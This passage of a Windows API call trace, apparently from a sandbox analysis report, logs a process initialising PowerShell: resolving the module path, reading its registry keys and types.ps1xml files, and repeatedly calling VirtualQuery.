lpFilePart=0x0) returned 0x74 [0042.435] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.436] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.436] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0042.445] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.445] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0042.445] CoTaskMemFree (pv=0x3d6c00) [0042.448] CoTaskMemAlloc (cb=0xcc) returned 0x1b9fbd60 [0042.448] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b9fbd60, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0042.448] CoTaskMemFree (pv=0x1b9fbd60) [0042.448] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x24da48 | out: phkResult=0x24da48*=0x328) returned 0x0 [0042.448] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d9cc, lpData=0x0, lpcbData=0x24d9c8*=0x0 | out: lpType=0x24d9cc*=0x2, lpData=0x0, lpcbData=0x24d9c8*=0x6c) returned 0x0 [0042.448] CoTaskMemAlloc (cb=0x70) returned 0x36cde0 [0042.448] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d99c, lpData=0x36cde0, lpcbData=0x24d998*=0x6c | out: lpType=0x24d99c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x24d998*=0x6c) returned 0x0 [0042.448] CoTaskMemFree (pv=0x36cde0) [0042.448] CoTaskMemAlloc (cb=0xcc) returned 0x1b9fbd60 [0042.448] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x1b9fbd60, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0042.448] CoTaskMemFree (pv=0x1b9fbd60) [0042.448] CoTaskMemAlloc (cb=0xcc) returned 0x1b9fbd60 [0042.448] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b9fbd60, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0042.448] CoTaskMemFree (pv=0x1b9fbd60) [0042.450] RegCloseKey (hKey=0x328) returned 0x0 [0042.450] CoTaskMemAlloc (cb=0xcc) returned 0x1b9fbd60 [0042.450] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b9fbd60, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0042.450] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x24da48 | out: phkResult=0x24da48*=0x328) returned 0x0 [0042.450] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d9cc, lpData=0x0, lpcbData=0x24d9c8*=0x0 | out: lpType=0x24d9cc*=0x0, lpData=0x0, lpcbData=0x24d9c8*=0x0) returned 0x2 [0042.450] RegCloseKey (hKey=0x328) returned 0x0 [0042.462] CoTaskMemAlloc (cb=0x20c) returned 0x1b9f6700 [0042.462] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b9f6700 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0042.463] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0042.467] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.467] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.468] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.468] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.476] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.476] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.476] CoTaskMemFree (pv=0x3d6c00) [0042.476] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.476] CoTaskMemFree (pv=0x3d6c00) [0042.480] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d838 | out: phkResult=0x24d838*=0x330) returned 0x0 [0042.482] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d84c, lpData=0x0, lpcbData=0x24d848*=0x0 | out: lpType=0x24d84c*=0x1, lpData=0x0, lpcbData=0x24d848*=0x74) returned 0x0 [0042.482] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d7bc, lpData=0x0, lpcbData=0x24d7b8*=0x0 | out: lpType=0x24d7bc*=0x1, lpData=0x0, lpcbData=0x24d7b8*=0x74) returned 0x0 [0042.482] CoTaskMemAlloc (cb=0x78) returned 0x36cde0 [0042.483] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x24d78c, lpData=0x36cde0, lpcbData=0x24d788*=0x74 | out: lpType=0x24d78c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x24d788*=0x74) returned 0x0 [0042.483] CoTaskMemFree (pv=0x36cde0) [0042.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x24d500, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0042.483] SetErrorMode (uMode=0x1) returned 0x1 [0042.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x24d710 | out: lpFileInformation=0x24d710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0042.483] SetErrorMode (uMode=0x1) returned 0x1 [0042.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d500, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.484] SetErrorMode (uMode=0x1) returned 0x1 [0042.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d710 | out: lpFileInformation=0x24d710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0042.485] SetErrorMode (uMode=0x1) returned 0x1 [0042.487] SetErrorMode (uMode=0x1) returned 0x1 [0042.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d710 | out: lpFileInformation=0x24d710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0042.488] SetErrorMode (uMode=0x1) returned 0x1 [0042.490] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.490] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.490] CoTaskMemFree (pv=0x3d6c00) [0042.494] CoTaskMemAlloc (cb=0x104) returned 0x3d6c00 [0042.494] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6c00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0042.494] CoTaskMemFree (pv=0x3d6c00) [0042.495] GetACP () returned 0x4e4 [0042.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.507] SetErrorMode (uMode=0x1) returned 0x1 [0042.508] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x334 [0042.508] GetFileType (hFile=0x334) returned 0x1 [0042.508] SetErrorMode (uMode=0x1) returned 0x1 [0042.508] GetFileType (hFile=0x334) returned 0x1 [0042.510] ReadFile (in: hFile=0x334, lpBuffer=0x2e38ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e38ae8*, lpNumberOfBytesRead=0x24d648*=0x1000, lpOverlapped=0x0) returned 1 [0042.512] ReadFile (in: hFile=0x334, lpBuffer=0x2e38ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e38ae8*, lpNumberOfBytesRead=0x24d648*=0x1000, lpOverlapped=0x0) returned 1 [0042.512] ReadFile (in: hFile=0x334, lpBuffer=0x2e38ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e38ae8*, lpNumberOfBytesRead=0x24d648*=0x1000, lpOverlapped=0x0) returned 1 [0042.513] ReadFile (in: hFile=0x334, lpBuffer=0x2e38ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e38ae8*, lpNumberOfBytesRead=0x24d648*=0xcf3, lpOverlapped=0x0) returned 1 [0042.513] ReadFile (in: hFile=0x334, lpBuffer=0x2e37f43, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e37f43*, lpNumberOfBytesRead=0x24d648*=0x0, lpOverlapped=0x0) returned 1 [0042.513] ReadFile (in: hFile=0x334, lpBuffer=0x2e38ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e38ae8*, lpNumberOfBytesRead=0x24d648*=0x0, lpOverlapped=0x0) returned 1 [0042.515] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.515] SetErrorMode (uMode=0x1) returned 0x1 [0042.515] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d5c0 | out: lpFileInformation=0x24d5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0042.515] SetErrorMode (uMode=0x1) returned 0x1 [0042.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.516] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d6a8 | out: phkResult=0x24d6a8*=0x334) returned 0x0 [0042.516] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d62c, lpData=0x0, lpcbData=0x24d628*=0x0 | out: lpType=0x24d62c*=0x1, lpData=0x0, lpcbData=0x24d628*=0x56) returned 0x0 [0042.516] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7a30 [0042.516] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d5fc, lpData=0x1b9c7a30, lpcbData=0x24d5f8*=0x56 | out: lpType=0x24d5fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d5f8*=0x56) returned 0x0 [0042.516] RegCloseKey (hKey=0x334) returned 0x0 [0042.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0042.563] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.574] SetErrorMode (uMode=0x1) returned 0x1 [0042.575] SetErrorMode (uMode=0x1) returned 0x1 [0042.575] GetFileType (hFile=0x334) returned 0x1 [0042.575] ReadFile (in: hFile=0x334, lpBuffer=0x2e9fca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d648, lpOverlapped=0x0 | out: lpBuffer=0x2e9fca8*, lpNumberOfBytesRead=0x24d648*=0x1000, lpOverlapped=0x0) returned 1 [0042.586] SetErrorMode (uMode=0x1) returned 0x1 [0042.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d5c0 | out: lpFileInformation=0x24d5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0042.586] SetErrorMode (uMode=0x1) returned 0x1 [0042.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0042.586] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d6a8 | out: phkResult=0x24d6a8*=0x334) returned 0x0 [0042.586] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d62c, lpData=0x0, lpcbData=0x24d628*=0x0 | out: lpType=0x24d62c*=0x1, lpData=0x0, lpcbData=0x24d628*=0x56) returned 0x0 [0042.586] CoTaskMemAlloc (cb=0x5a) returned 0x35cf50 [0042.587] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d5fc, lpData=0x35cf50, lpcbData=0x24d5f8*=0x56 | out: lpType=0x24d5fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d5f8*=0x56) returned 0x0 [0042.587] RegCloseKey (hKey=0x334) returned 0x0 [0042.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0042.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x24d1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0042.721] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.876] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.878] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.879] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.879] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.879] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.880] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.884] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.894] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.894] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.894] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.895] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.895] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.895] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.897] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.897] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.902] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.906] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.906] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.906] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.907] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.907] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.907] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.908] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.908] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.908] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.908] VirtualQuery (in: lpAddress=0x24c390, lpBuffer=0x24d250, dwLength=0x30 | out: lpBuffer=0x24d250*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, 